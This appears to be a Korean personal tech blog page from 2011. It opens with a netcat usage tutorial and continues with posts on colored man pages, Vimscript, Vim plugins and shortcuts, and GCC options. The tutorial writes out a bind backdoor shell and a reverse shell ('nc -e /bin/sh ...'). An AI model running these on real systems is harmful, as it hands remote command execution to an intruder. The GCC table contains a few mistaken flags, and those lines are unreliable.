2011. 12. 6. 00:46

넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를

읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한

사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection

에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging,

testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

 

 

connect to somewhere:

listen for inbound:

nc [-options] hostname port[s] [ports] ...

nc -l -p port [-options] [hostname] [port]

[ 옵션 ]

[ 설명 ]

-c shell commands

as `-e'; use /bin/sh to exec [dangerous!!]

-e

program to exec after connect [dangerous!!]

-b

allow broadcasts

-g

source-routing hop point[s], up to 8

-G

source-routing pointer: 4, 8, 12, ...

-h

this cruft

-i secs

delay interval for lines sent, ports scanned

-k

set keepalive option on socket

-l

listen mode, for inbound connects

-n

numeric-only IP addresses, no DNS

-o file

hex dump of traffic

-p port

local port number

-r

randomize local and remote ports

-q secs

quit after EOF on stdin and delay of secs

-s addr

local source address

-T tos

set Type Of Service

-t

answer TELNET negotiation

-u

UDP mode

-v

verbose [use twice to be more verbose]

-w secs

timeout for connects and final net reads

-z

zero-I/O mode [used for scanning]

 

 

연결 수립

Ÿ 넷캣은 IP주소의 임의의 포트로 연결할 수 있다.

 

# nc 10.0.2.100 22

SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6

 

 

서비스 배너 수집

Ÿ 다양한 서비스를 대상으로 그대로 사용할 수 있다.

하지만 HTTP 같은 서비스의 배너를 알아내려면 우선 HTTP명령을 전송해야 한다.

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80

HTTP/1.1 200 OK

Date: Mon, 05 Dec 2011 14:54:15 GMT

Server: Apache/2.3.15-dev (Unix) mod_ssl/2.3.15-dev OpenSSL/1.0.0c

Last-Modified: Mon, 05 Dec 2011 14:10:25 GMT

ETag: "11163fe-8c8f-4b358e1491640"

Accept-Ranges: bytes

Content-Length: 35983

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Mon, 05 Dec 2011 15:54:15 GMT

Connection: close

Content-Type: text/html; charset=utf-8

위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.

 

간단한 서버

Ÿ 포트 1234에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.

 

서버

클라이언트

# nc -l -p 1234

hi

hello netcat!!!

# telnet localhost 1234

Trying ::1...

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

hi

hello netcat!!!

클라이언트에서 입력한 모든 문자가 서버에 출력된다.

간단한 채팅 서버를 만든 셈이다.

 

파일 전송

Ÿ 클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.

 

서버

클라이언트

# nc -l -p 1234 > pstest.out

# ps auxf | nc -w3 10.0.2.15 1234

or

# nc -w3 10.0.2.15 < filename

클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.

 

포트 스캐닝

@ 상세 출력(-v),

@ DNS 이름 주소 변환 실시 안 함(-n),

@ 데이터 전송 안 함(-z),

@ 최대 1초의 연결 리슨 시간(-w 1)을 옵션으로

TCP 프로토콜을 사용해서 1-1023 사이의 포트를 스캔

 

# nc -n -v -z -w 1 10.0.2.100 1-1023

(UNKNOWN) [10.0.2.100] 80 (www) open

(UNKNOWN) [10.0.2.100] 22 (ssh) open

80, 22번 포트가 열려있음을 확인할 수 있다.

넷캣이 포트 스캐닝을 지원하긴 하지만 포트 스캐닝을 실시할 때는 엔맵(nmap)을 권장.

 

백도어 쉘

@ 특정 포트(-p)에서 리슨하면서(-l)

@ 연결 수립 시 특정 쉘을 실행하도록(-e) 옵션을 지정하여

백도어 쉘을 실행 할 수 있다.

 

서버

클라이언트

# nc -e /bin/sh -l -p 1234

# telnet 10.0.2.15 1234

Trying ::1...

Trying 10.0.2.15...

Connected to localhost.

Escape character is '^]'.

uname -a;

Linux bt 2.6.38 #1 SMP...<etc>

ls -al;

...<etc>

연결이 수립되면 서버에 임의의 리눅스 명령어를 입력할 수 있다.

명령 뒤에 ";"(세미콜론)문자를 덧붙여야 한다. (사용하는 클라이언트 마다 다를 수 있음)

위와 같이 서버에서 실행된 명령의 결과가 클라이언트 화면에 출력된다.

넷캣 리스너를 루트 권한으로 실행하면 서버에서 임의의 모든 작업을 수행할 수 있다.

누구나 해당 포트로 연결해서 넷캣 백도어를 이용할 수 있다는 점과, 넷캣 연결은 기본적으로

암호화되지 않는다는 사실에 주의해야 한다.

 

리버스 쉘

Ÿ 이 방법은 방금 위에서 살펴본 백도어 쉘과는 반대 케이스다.

이전 예에서는 서버가 쉘을 실행했지만 리버스 쉘에서는 원격 호스트가 서버로 연결하면서

쉘을 실행한다.

 

서버

클라이언트

# nc -n -v -l -p 1234

listening on [any] 1234 ...

connect to [10.0.2.100]

from (UNKNOWN) [10.0.2.100] 36725

ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP>

...<etc>...

2: eth1:

<BROADCAST,...>...<etc>...

nc -e /bin/sh 10.0.2.100 1234

서버에서 "connect to [10.0.2.100] from (UNKNOWN)...<etc>"와 같은 메시지를 확인할 수 있다면

리버스 쉘이 성공적으로 연결된 것이다.

서버에서 임의의 명령을 입력하면 원격 머신에서 실행된다.

이처럼 원격 머신의 운영체제에서 지원하는 임의의 명령을 실행할 수 있다.

Posted by devanix
2011. 10. 25. 23:18

@ ~/.bashrc에 다음 추가.

#------------------------------------------////

# Color man pages:

#------------------------------------------////

export LESS_TERMCAP_mb=$'\E[01;31m' # begin blinking

export LESS_TERMCAP_md=$'\E[01;31m' # begin bold

export LESS_TERMCAP_me=$'\E[0m' # end mode

export LESS_TERMCAP_se=$'\E[0m' # end standout-mode

export LESS_TERMCAP_so=$'\E[01;44;33m' # begin standout-mode - info box

export LESS_TERMCAP_ue=$'\E[0m' # end underline

export LESS_TERMCAP_us=$'\E[01;32m' # begin underline

 

$ source ~/.bashrc

 

$ man ls

'Essential Tools' 카테고리의 다른 글

넷캣(Netcat) 간단한 사용방법  (2) 2011.12.06
한장으로 보는 정규 표현식(Regular Expression) cheat sheet  (0) 2011.09.10
[gcc] 옵션 정리  (0) 2011.06.27
DJGPP 설정  (1) 2011.05.08
[Port scanner] Nmap Security Scanner  (0) 2010.09.04
Posted by devanix
2011. 9. 23. 13:34

Vim 편집기로 스크립트 작성하기, Part 1: 변수, 값 및 표현식

Vimscript는 Vim 편집기를 변경하고 확장하기 위한 메커니즘입니다.

스크립트를 사용하면 새 도구를 작성하고 일반 작업을 단순화할 수 있을 뿐만 아니라

편집기의 기존 기능까지도 재설계하여 변경할 수 있습니다. 시리즈의 첫 번째인 이 기사에서는

Vimscript 프로그래밍 언어의 기본 구성 요소인 값, 변수, 표현식, 명령문, 함수 및 명령에 대해 설명합니다.

또한 일련의 간단한 예제를 통해 기능을 직접 구현해 보면서 설명합니다.

Vim 편집기로 스크립트 작성하기, Part 2: 사용자 정의 함수

사용자 정의 함수는 실제 환경에서 사용하고 있는 복잡한 프로그래밍 작업을 관리하기 위해 애플리케이션을

쉽게 관리할 수 있는 올바른 구성 요소로 분해하는 데 사용되는 필수 도구입니다. 시리즈의 두 번째 기사에 해당하는

이 기사에서는 몇 가지 실용적인 예제를 통해 Vimscript 언어에서 새 함수를 작성하고 전개하는 방법에 대해 설명합니다.

Vim 편집기 스크립팅, Part 3: 내장 리스트

vim스크립트는 프로그래밍의 초석인 데이터 컬렉션에 대한 연산에 있어 최상의 지원을 제공한다.

이 연재의 세 번째 기사에서는 vim스크립트의 내장 리스트를 이용하여, 리스트를 재구성하거나

연속된 파일명들을 필터링하거나 행 번호의 집합을 정렬하는 것과 같은 매일 하는 연산들을 손쉽게 하는

방법을 배울 것이다. 독자들은 또한 vim의 두 가지 일반적인 사용, 즉 할당 연산자를 정렬하는 사용자 정의 함수를

만들고, 내장 텍스트 완성 기능을 향상시키는 부분에서 리스트의 위력을 확대하고 강화하는 예들을 접할 것이다.

Vim 편집기로 스크립트 작성하기, Part 4: 사전

사전은 목록에서 다양한 최적화 기능과 상충 관계를 제공하는 컨테이너 데이터 구조입니다.

특히, 사전에서는 요소의 저장 순서가 중요하지 않으며 각 요소의 ID가 명시적입니다. Vimscript를

소개하는 이 시리즈의 네 번째 기사에서는 사전을 소개하면서 사전의 기본 구문에 대한 개요와 여러 기능에

대해 설명합니다. 마지막으로 여러 예제를 통해 사전을 사용하여 효과적으로 데이터를 처리하고 정돈된 코드를

작성하는 방법을 보여 줍니다.

Vim 편집기로 스크립트 작성하기, Part 5: 이벤트 구동 스크립트 및 자동화

왜 직접 반복하고 있습니까? Vim의 종합적인 이벤트 모델을 구성하면 파일을 로드하거나 편집기 모드 간에

전환하는 등의 특정 편집 이벤트가 발생할 때마다 시간을 절약할 수 있는 스크립트를 실행할 수 있습니다.

이 시리즈의 다섯 번째 기사인 이 기사에서는 Vim에서 이벤트가 작동하는 방법을 설명하고 유용한 이벤트 유형을

살펴본 다음 특정 스크립트를 특정 이벤트에 연결합니다. 결과적으로 사용자의 요구에 맞게 구성된 자동화된

워크플로우를 얻을 수 있습니다.

 

'Essential Tools > VIM - Vi IMproved' 카테고리의 다른 글

[VIM Plugin] T-Commant  (0) 2011.09.22
[VIM Plugin] snipMate  (0) 2011.09.22
[VIM] 단축키 정리  (0) 2011.06.27
[VIMRC] Personal Vim Initializations (개인 환경 설정)  (0) 2009.12.20
Posted by devanix
2011. 9. 22. 22:27


토글형식의 주석을 자동으로 달아주는 플러그인 입니다.
여러 파일형식을 지원(html, python, sh, c... 등등)

저같은 경우는 그냥 'Ctrl+//' 만 주로 사용하므로 자세한 내용은 해당 사이트 및 문서 참조.

http://www.vim.org/scripts/script.php?script_id=1173
Posted by devanix
2011. 9. 22. 21:26


자주 사용하는 코드 조각을 트리거 단어<tab>을 사용하여 코드를 자동 완성 시켜준다.
snippets 디렉토리에 확장자 별로 기본 정의가 되어있고 입맛대로 추가 하여 사용할수 있다.

특별히 플러그인을 추가하여 셋팅할것은 많치 않다.
.vimrc 추가 :
        filetype plugin on
        "set paste 주석처리

set paste 설정이 되어있으면 작동하지 않을 수 있으므로 주석처리를 한다.(VIM - Vi IMproved 7.3 버전을 사용)


http://www.vim.org/scripts/script.php?script_id=2540
g
ithub : http://github.com/msanders/snipmate.vim 
 
Posted by devanix
2011. 9. 10. 07:58


'Essential Tools' 카테고리의 다른 글

넷캣(Netcat) 간단한 사용방법  (2) 2011.12.06
맨페이지 간단한 색상 추가해서 보기  (0) 2011.10.25
[gcc] 옵션 정리  (0) 2011.06.27
DJGPP 설정  (1) 2011.05.08
[Port scanner] Nmap Security Scanner  (0) 2010.09.04
Posted by devanix
2011. 6. 27. 09:52

[ 저장 및 종료 ]

[ex모드]

[설명]

:w

저장

:w file.txt

file.txt 파일로 저장

:w >> file.txt

file.txt 파일에 덧붙여서 저장

:q

vi 종료

:q!

vi 강제 종료

ZZ

저장 후 종료

:wq!

강제 저장 후 종료

:e file.txt

file.txt 파일을 불러옴

:e

현재 파일을 불러옴

   

[ 입력모드 전환 ]

[명령모드]

[설명]

[명령모드]

[설명]

a

커서 윈치 다음 칸부터 입력

A

커서 행의 맨 마지막부터 입력

i

커서의 위치에 입력

I

커서 행의 맨 앞에서부터 입력

o

커서의 다음 행에 입력

O

커서의 이전 행에 입력

s

커서 위치의 한 글자를 지우고 입력

S(cc)

커서 위치의 한 행을 지우고 입력

   

[ 이동 ]

[명령]

[설명]

[명령]

[설명]

H

왼쪽으로 이동(←)

l

오른쪽으로 이동(→)

j

아래 행으로 이동(↓)

k

위 행으로 이동(↑)

w or W

다음 단어의 첫 글자로 이동

b or B

이전 단어의 첫 글자로 이동

e or E

단어의 마지막 글자로 이동

<CR>

다음 행의 첫 글자로 이동

^

그 행의 첫 글자로 이동

$

그 행의 마지막 글자로 이동

+

다음 행의 첫 글자로 이동

-

위 행의 첫 글자로 이동

(

이전 문장의 첫 글자로 이동

)

다음 문장의 첫 글자로 이동

{

이전 문단으로 이동

}

다음 문단으로 이동

H

커서를 화면의 맨 위로 이동

z<CR>

현재 행을 화면의 맨 위로 이동

M

커서를 화면의 중앙으로 이동

z.

현재 행을 화면의 중앙으로 이동

L

커서를 화면 최하단으로 이동

z-

현재 행을 화면의 최하단으로 이동

[n]H

커서를 위에서 n행으로 이동

[n]L

커서를 아래에서 n행으로 이동

<Ctrl>+u

반 화면 위로 스크롤

<Ctrl>+d

반 화면 아래로 스크롤

<Ctrl>+b

한 화면 위로 스크롤

<Ctrl>+f

한 화면 아래로 스크롤

gg, 1G

문서의 맨 첫 행으로 이동

G

문서의 맨 마지막 행으로 이동

[n]G

n행으로 이동

:[n]<CR>

n행으로 이동

   

[ 삭제 ]

[명령모드]

[설명]

x, dl

커서 위치의 글자 삭제

X, dh

커서 바로 앞의 글자 삭제

dw

한 단어를 삭제

d0

커서 위치부터 행의 처음까지 삭제

D, d$

커서 위치부터 행의 끝까지 삭제

dd

커서가 있는 행을 삭제

dj

커서가 있는 행과 그 다음 행을 삭제

dk

커서가 있는 행과 그 앞 행을 삭제

   

[ 복사 & 붙이기 ]

[명령모드]

[설명]

[명령모드]

[설명]

yy

커서가 위치한 한 행 복사

p

붙여넣기

[n]yy

커서가 위치한 이후로 n행 복사

[n]p

n번만큼 붙여넣기 반복

   

[ 블록 지정 관련 ]

[명령]

[설명]

[명령]

[설명]

v

블록 지정

<Ctrl>+v

비쥬얼 블록 지정

~

대소문자 전환

d

삭제

y

복사

c

치환

>

행 앞에 탭 삽입

<

행 앞에 탭 제거

:

선택된 영역에 대하여 ex명령

J

행을 합침

U

대문자로 만듦

u

소문자로 만듦

   

[ 문자열 탐색 및 치환 ]

[ex모드]

[설명]

/[문자열]

문자열을 탐색

:s/old/new

현재 행의 처음 old를 new로 교체

:s/old/new/g

현재 행의 모든 old를 new로 교체

:10,20s/old/new/g

10행부터 20행까지 모든 old를 new로 교체

:-3,+4s/old/new/g

현재 커서 위치에서 3행 위부터 4행 아래까지 old를 new로 교체

:%s/old/new/g

문서 전체에서 old를 new로 교체

:%s/old/new/gc

문서 전체에서 old를 new로 확인하며 교체

:g/pattern/s//new/g

:%s/old/new/g와 동일

 

[ vim 정규 표현식 ]

[메타문자]

[설명]

[메타문자]

[설명]

^

행의 첫 문자([]안에서는 not의 의미)

$

행의 끝

.

아무 문자나 한 문자 의미

\|

or의 의미

[ ]

[]사이의 문자 중 하나

\{min,max\}

min 이상 max 이하 반복됨

*

앞의 내용이 0번 이상 반복됨

\+

앞의 내용이 1번 이상 반복됨

\<

단어의 시작

\>

단어의 끝

\n

새 행 문자

\t

탭 문자

 

[ vim 확장 정규 표현 문자열 ]

[이스케이프]

[설명]

\i (소문자 아이)

변수 지정에 사용되는 문자들 [_0-9A-Za-z]

\I (대문자 아이)

\i와 같지만 숫자는 제외

\k

keyword로 사용하는 문자 [_\.\-0-9A-Za-z]

\K

\k와 같지만 숫자는 제외

\f

파일 이름으로 사용하는 문자

\F

\f와 같지만 숫자는 제외

\p

프린트 가능한 문자

\P

\p와 같지만 숫자는 제외

\s

whitespace character(공백과 탭)

\S

non-whitespace character

\d

숫자 [0-9]

\D

숫자가 아닌 문자 [^0-9]

\x

16진수 숫자 [0-9A-Fa-f]

\X

16진수 숫자가 아닌 문자 [^0-9A-Fa-f]

\o

8진수 숫자 [0-7]

\O

8진수 숫자가 아닌 문자 [^0-7]

\w

영문 단어에서 사용되는 문자 [0-9A-Za-z-]

\W

영문 단어에서 사용되지 않는 문자 [^0-9A-Za-z-]

\h

영문 단어의 시작에 사용되는 문자 [A-Za-z-]

\H

영문 단어의 시작에 사용되지 않는 문자 [^A-Za-z-]

\a

모든 알파벳 [A-Za-z]

\A

알파벳이 아닌 문자 [^A-Za-z]

\l (소문자 엘)

소문자 [a-z]

\L

소문자가 아닌 문자 [^a-z]

\u

대문자 [A-Z]

\U

대문자가 아닌 문자 [^A-Z]

\e

<ESC>

\t

<TAB>

\r

캐리지 리턴 (CR)

\b

백스페이스(BS)

\n

새 행(LF)

   

[ POSIX 문자 클래스 ]

[문자 클래스]

[내용]

[:alnum:]

알파벳과 숫자 [A-Za-z0-9]

[:alpha:]

알파벳 [A-Za-z]

[:cntrl:]

제어 문자

[:blank:]

탭과 공백 문자

[:digit:]

숫자 [0-9]

[:graph:]

제어 문자와 공백 문자를 제외한 문자

[:lower:]

소문자 [a-z]

[:upper:]

대문자 [A-Z]

[:print:]

제어 문자를 제외한 문자. 즉 프린터 할 수 있는 문자

[:punct:]

[:graph:] 문자 중 [:alnum:]을 제외한 문자. (ex: !, @, #, $, %, ^....)

[:space:]

화이트 스페이스 (ex: 공백, 탭, 캐리지 리턴, 새 행, 수직 탭, 폼 필드)

[:xdigit:]

16진수

   

[ 파일 버퍼 관련 명령 요약 ]

[ex모드]

[설명]

:buffers

버퍼의 내용을 나열

:files or :ls

버퍼의 내용을 나열

:b[n]

n번 버퍼로 이동

:bd[N]

n 버퍼를 삭제(n이 없으면 현재의 버퍼를 완전 삭제)

:bw[n]

n 버퍼를 완전 삭제(n이 없으면 현재의 버퍼를 완전 삭제)

:bp[n]

이전 버퍼로 이동. n을 붙이면 n번만큼 이전 버퍼로 이동

:bn[n]

이후 버퍼로 이동. n을 붙이면 n번만큼 이후 버퍼로 이동

:sb[n]

창을 수평 분할하여 n번 버퍼를 로드

:bf

첫 번째 버퍼로 이동

:bl

마지막 버퍼로 이동

:al

현재 열려 있는 모든 버퍼를 수평 분할 창에 로드

   

[ 마킹 및 마킹한 위치로 이동 ]

[명령모드]

[설명]

[명령모드]

[설명]

ma

a로 마킹, mb는 b로 마킹...

  

  

`a

a로 마킹된 위치로 돌아감

'a

a로 마킹된 행의 처음으로 돌아감

' '

직전에 커서가 위치하던 행의 처음

` `

진전의 커서 위치로 이동

' "

이전에 vim으로 현재 파일을 닫았을 때 커서가 있던 행의 처음으로 이동

` "

이전에 vim으로 현재 파일을 닫았을 때 커서가 있던 위치로 이동

   

[ 다중 창 관련 명령 ]

-[ 창 생성 ]-

[명령모드]

[ex모드]

[결과]

<Ctrl>+w s

:sp[plit]

현재 파일을 두 개의 수평 창으로 나눔

<Ctrl>+w v

:[n]vs[plit]

새로운 수직 창 생성, n이 붙으면 n칸 크기의 창 분할

<Ctrl>+w n

:new

새로운 수평 창 생성

<Ctrl>+w ^

  

수평 창으로 나누고 이전 파일의 오픈

<Ctrl>+w f

  

창을 수평으로 나누고 커서 위치의 파일을 오픈

<Ctrl>+w i

  

커서 위치의 단어가 정의된 파일을 오픈

-[ 창 삭제 ]-

<Ctrl>+w q

:q[uit]!

현재 커서의 창을 종료

<Ctrl>+w c

:clo[se]

현재 커서의 창을 닫음

<Ctrl>+w o

:on[ly]

현재 커서의 창만 남기고 모든 창 삭제

-[ 창 이동 ]-

<Ctrl>+wh

  

왼쪽 창으로 커서 이동

<Ctrl>+wj

  

아래쪽 창으로 커서 이동

<Ctrl>+wk

  

위쪽 창으로 커서 이동

<Ctrl>+wl

  

오른쪽 창으로 커서 이동

<Ctrl>+ww

  

창을 순차적으로 이동

<Ctrl>+wp

  

가장 최근에 이동한 방향으로 이동

<Ctrl>+wt

  

최상위 창으로 이동

<Ctrl>+wb

  

최하위 창으로 이동

-[ 창 위치 바꾸기 ]-

<Ctrl>+wr

  

순차적으로 창의 위치를 순환

<Ctrl>+wx

  

이전 창과 위치를 바꿈

-[ 창 크기 조정 ]-

<Ctrl>+w =

  

창의 크기를 모두 균등하게 함

<Ctrl>+w _

  

수평 분할에서 창의 크기를 최대화

<Ctrl>+w |

  

수직 분할에서 창의 크기를 최대화

<Ctrl>+w [n]+

:res[ize] +n

창의 크기를 n행만큼 증가 (Ctrl+w +는 1행만큼 증가)

<Ctrl>+w [n]-

:res[ize] -n

창의 크기를 n행만큼 감소 (Ctrl+w -는 1행만큼 증가)

<Ctrl>+w [n]>

  

창의 크기를 오른쪽으로 n칸만큼 증가(수직 창에 한함)

<Ctrl>+w [n]<

  

창의 크기를 왼쪽으로 n칸만큼 증가(수직 창에 한함)

   

[ ctags 관련 명령 ]

[ex모드]

[설명]

:ta [tag] or <Ctrl>+]

[tag]가 정의된 위치를 나열하고 선택한 위치로 점프. 현재 위치는 stack에 push된다.

:ts [tag] or :서 [tag]

:po or <Ctrl>+t

stack top에 저장된 위치를 pop하고 그 위치로 점프

:sts [tag]

[tag]가 정의된 위치를 나열하고 선택한 위치로 창을 수평 분할하여 새로 생성된 창에 표시

:stj [tag]

:tn

tj나 ts로 점프했을 때 다음 tag로 점프

:tp

tj나 ts로 점프했을 때 이전 tag로 점프

:tr

tj나 ts로 점프했을 때 처음 tag로 점프

:tl

tj나 ts로 점프했을 때 마지막 tag로 점프

:pts [tag]

[tag]가 정의된 위치를 나열하고 선택한 위치로 창을 수평 분할하여 새로 생성된 창에 표시하지만 커서는 현재 위치에 유지

:ptj [tag]

미리보기 윈도우에 tag가 정의된 형식을 보임

:ptn

ptj나 pts로 점프했을 때 다음 tag로 점프

:ptp

ptj나 pts로 점프했을 때 이전 tag로 점프

:ptr

ptj나 pts로 점프했을 때 처음 tag로 점프

:ptl

ptj나 pts로 점프했을 때 마지막 tag로 점프

   

[ cscope 관련 명령 ]

:cs find {질의 종류} {심볼}
ex_) :cs find s start_kernel

0 or s

이 C symbol 찾기

1 or g

이 정의 찾기

2 or d

이 함수에 의해 불려지는 함수들 찾기

3 or c

이 함수를 부르는 함수들 찾기

4 or t

Find assignments to

6 or e

이 egrep 패턴 찾기

7 or f

이 파일 찾기

8 or i

이 파일을 포함하는 파일들 찾기

Posted by devanix
2011. 6. 27. 01:59

[ GCC 전역 옵션]

옵션

설명

-E

전처리 과정 화면에 출력

-S

어셈블리 파일 생성

-c

오브젝트 파일 생성

-v

컴파일 과정 화면에 출력

--save-tmps

컴파일 시 생성되는 중간 파일 저장

-da

컴파일 과정에서 생성되는 중간 코드 생성(RTL 파일 등 생성)

 

[ 전처리기(cpp0) 옵션]

옵션

설명

-l[패스]

헤더 파일을 탐색할 디렉토리 지정 (ex_: -l/opt/include)

-include[헤더 파일 패스]

해당 헤더 파일을 모든 소스 내 추가 (ex_: -include /root/my.h)

-D[매크로]

외부에서 #define 지정 (ex_: -DDEBUF)

-D[매크로]=[매크로 값]

외부에서 해당 매크로를 정의하고 값을 지정 (ex_: -DDEBUG=1)

-U[매크로]

외부에서 #endef 지정 (ex_ -UDEBUG)

-M 또는 -MM

make 기술 파일을 위한 소스 파일의 종속 항목 출력

-nostdinc

표준 C 헤더 파일을 include하지 않음

-C

전처리 과정에서 주석을 제거하지 않음

-Wp,[옵션 리스트]

옵션 리스트를 전처리기에 바로 전달

 

[ C컴파일러(cc1) 옵션]

- C 언어 옵션 -

옵션

설명

-ansi

ANSI C 문법으로 문법 검사

-std=[c 표준]

지정한 C 표준으로 문법 검사 (표준:c89, c99, gnu89, gnu99 등)

-traditional

K&R C문법으로 문법 검사

-fno-asm

asm, inline, typeof 키워드를 사용하지 않음(gnu89 문법 기준)

- 경고 옵션 -

-Wall -W

모든 경고 메시지 출력

-w

모든 경고 메시지 제거

-Werror

모든 경고를 오류로 취급하여 컴파일 중단

-pedantic

C89 표준에서 요구하는 모든 경고 메시지를 표시

-pedantic-errors

C89 표준에서 요구하는 모든 오류 메시지를 표시

-Wtraditional

ANSI C와 K&R C 간에 서로 다른 결과를 가져올 수 있는 부분이 있다면 경고

- 최적화 옵션 -

-O0

아무런 최적화를 수행치 않음

-O1 또는 -O

최적화 레벨 1 수행

-O2

최적화 레벨 2 수행

-O3

최적화 레벨 3 수행

-O4

사이즈 최적화 수행

- 디버깅 옵션 -

-g

바이너리 파일에 디버깅 정보 삽입

-pg

프로파일을 위한 코드 삽입

 

[ 어셈블리(as) 옵션]

옵션

설명

-Wa,[옵션 리스트]

어셈블러에게 옵션 리스트를 바로 전달

-Wa,-al

어셈블된 코드와 인스트럭션을 보임

-Wa,-as

정의된 심볼을 보임

 

[ 링크(ld) 옵션]

옵션

설명

-L[패스]

라이브러리 탐색 디렉토리 지정 (ex_: -L/opt/lib)

-l[라이브러리 이름]

해당 라이브러리를 링크 (ex_: -lm)

-shared

공유 라이브러리를 우선하여 링크

-static

정적 라이브러리를 우선하여 링크

-nostdlib

표준 C 라이브러리를 사용하지 않음

-Wl,[옵션 리스트]

옵션 리스트를 링크에 바로 전달

Posted by devanix